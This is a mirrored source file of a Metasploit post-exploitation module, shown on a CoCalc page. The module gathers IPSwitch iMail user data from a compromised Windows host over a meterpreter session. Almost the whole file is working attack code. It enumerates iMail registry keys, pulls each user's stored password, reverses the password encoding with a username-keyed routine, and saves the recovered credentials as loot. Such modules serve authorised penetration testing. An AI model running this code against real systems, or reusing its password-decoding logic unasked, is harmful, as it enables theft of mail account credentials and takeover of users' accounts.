CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/imail.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Registry
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather IPSwitch iMail User Data Enumeration',
15
'Description' => %q{
16
This module will collect iMail user data such as the username, domain,
17
full name, e-mail, and the decoded password. Please note if IMAILUSER is
18
specified, the module extracts user data from all the domains found. If
19
IMAILDOMAIN is specified, then it will extract all user data under that
20
particular category.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'sinn3r', # Metasploit
25
],
26
'References' => [
27
['EDB', '11331'],
28
],
29
'Platform' => [ 'win' ],
30
'SessionTypes' => [ 'meterpreter' ]
31
)
32
)
33
34
register_options(
35
[
36
OptString.new('IMAILUSER', [false, 'iMail username', '']),
37
OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
38
]
39
)
40
end
41
42
def download_info(imail_user = '', imail_domain = '')
43
base = 'HKLM\\SOFTWARE\\Ipswitch\\IMail'
44
45
# Find domain(s)
46
users_subkey = []
47
if imail_domain.empty?
48
domains_key = registry_enumkeys("#{base}\\domains")
49
if !domains_key.nil?
50
domains_key.each do |domain_key|
51
users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
52
end
53
end
54
else
55
users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
56
end
57
58
# Find users
59
users_key = []
60
users_subkey.each do |user_key|
61
if imail_user.empty?
62
users = registry_enumkeys(user_key)
63
if !users.nil?
64
users.each do |user|
65
users_key << "#{user_key}\\#{user}"
66
end
67
end
68
else
69
users_key << "#{user_key}\\#{imail_user}"
70
end
71
end
72
73
# Get data for each user
74
users = []
75
users_key.each do |key|
76
# Filter out '_aliases'
77
next if key =~ /_aliases/
78
79
vprint_status("Grabbing key: #{key}")
80
81
domain = ::Regexp.last_match(1) if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
82
mail_addr = registry_getvaldata(key, 'MailAddr')
83
password = registry_getvaldata(key, 'Password')
84
full_name = registry_getvaldata(key, 'FullName')
85
username = ::Regexp.last_match(1) if mail_addr =~ /(.+)@.+/
86
87
# Hmm, I don't think this user exists, skip to the next one
88
next if mail_addr.nil?
89
90
current_user =
91
{
92
domain: domain,
93
fullname: full_name,
94
username: username,
95
email: mail_addr,
96
password: password
97
}
98
99
users << current_user
100
end
101
102
return users
103
end
104
105
def decode_password(username = '', enc_password = '')
106
# No point trying to decode if there's no username or password
107
return '' if username.empty? || enc_password.empty?
108
109
counter = 0
110
password = ''
111
112
# Start decoding, what's up gold $$
113
0.step(enc_password.length - 1, 2) do |i|
114
byte_1 = enc_password[i, 1].unpack('C')[0]
115
byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
116
byte_1 *= 16
117
118
byte_2 = enc_password[i + 1, 1].unpack('C')[0]
119
byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55
120
121
char = byte_1 + byte_2
122
123
counter = 0 if username.length <= counter
124
125
username_byte = username[counter, 1].unpack('C')[0]
126
if (username_byte > 54) && (username_byte < 90)
127
username_byte += 32
128
end
129
130
char -= username_byte
131
counter += 1
132
password << char.chr
133
end
134
135
vprint_status("Password '#{enc_password}' = #{password}")
136
137
return password
138
end
139
140
def report(users)
141
credentials = Rex::Text::Table.new(
142
'Header' => 'Ipswitch iMail User Credentials',
143
'Indent' => 1,
144
'Columns' =>
145
[
146
'User',
147
'Password',
148
'Domain',
149
'Full Name',
150
'E-mail'
151
]
152
)
153
154
users.each do |user|
155
domain = user[:domain]
156
username = user[:username]
157
password = user[:password]
158
full_name = user[:fullname]
159
e_mail = user[:email]
160
161
if datastore['VERBOSE']
162
text = ''
163
text << "User=#{username}, "
164
text << "Password=#{password}, "
165
text << "Domain=#{domain}, "
166
text << "Full Name=#{full_name}, "
167
text << "E-mail=#{e_mail}"
168
print_good(text)
169
end
170
171
credentials << [username, password, domain, full_name, e_mail]
172
end
173
174
print_status('Storing data...')
175
176
path = store_loot(
177
'imail.user.creds',
178
'text/csv',
179
session,
180
credentials.to_csv,
181
'imail_user_creds.csv',
182
'Ipswitch iMail user credentials'
183
)
184
185
print_status("User credentials saved in: #{path}")
186
end
187
188
def run
189
imail_user = datastore['IMAILUSER']
190
imail_domain = datastore['IMAILDOMAIN']
191
192
vprint_status('Download iMail user information...')
193
194
# Download user data. If no user specified, we dump it all.
195
users = download_info(imail_user, imail_domain)
196
197
# Process fullname and decode password
198
users.each do |user|
199
user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
200
user[:password] = decode_password(user[:username], user[:password])
201
end
202
203
# Report information and store it
204
report(users)
205
end
206
end
207
208